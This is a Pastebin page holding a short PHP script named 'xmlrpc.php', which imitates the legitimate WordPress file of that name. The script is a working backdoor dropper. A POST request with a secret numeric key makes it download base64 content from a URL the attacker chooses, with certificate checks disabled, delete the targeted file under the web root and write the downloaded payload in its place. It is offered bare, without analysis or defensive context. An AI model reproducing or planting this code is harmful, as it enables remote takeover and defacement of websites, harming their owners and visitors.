Advertisement
PalmaSolutions

xmlrpc.php

Sep 27th, 2018
206
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.99 KB | None | 0 0
  1. <?php
  2. if(isset($_POST['34097507370288421525'])){
  3. $index=$_SERVER['DOCUMENT_ROOT'].base64_decode(strtr($_POST['filename'],'-_,','+/='));
  4. $b='';
  5. if(function_exists("file_get_contents")){
  6.  $b=base64_decode(file_get_contents($_POST['b']));
  7. }
  8. if(strlen($b)<300){
  9.          $ch = curl_init();  
  10.          curl_setopt($ch, CURLOPT_URL, $_POST['b']);  
  11.          curl_setopt($ch, CURLOPT_TIMEOUT, 10);  
  12.          curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 10);  
  13.          curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  14.          curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
  15.          curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
  16.          curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));   
  17.          $html = curl_exec($ch);
  18.          if(curl_getinfo($ch,CURLINFO_HTTP_CODE)!==200){
  19.             $html=curl_getinfo($ch,CURLINFO_HTTP_CODE);
  20.         }
  21.          curl_close($ch);
  22.          $b=base64_decode($html);
  23. }
  24.     if(strlen($b)<300){echo 'indexcode is null';exit;}
  25.     if(file_exists($index)){@chmod($index,0755);@unlink($index);}@file_put_contents($index,$b);echo 'ok';
  26. }
  27. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement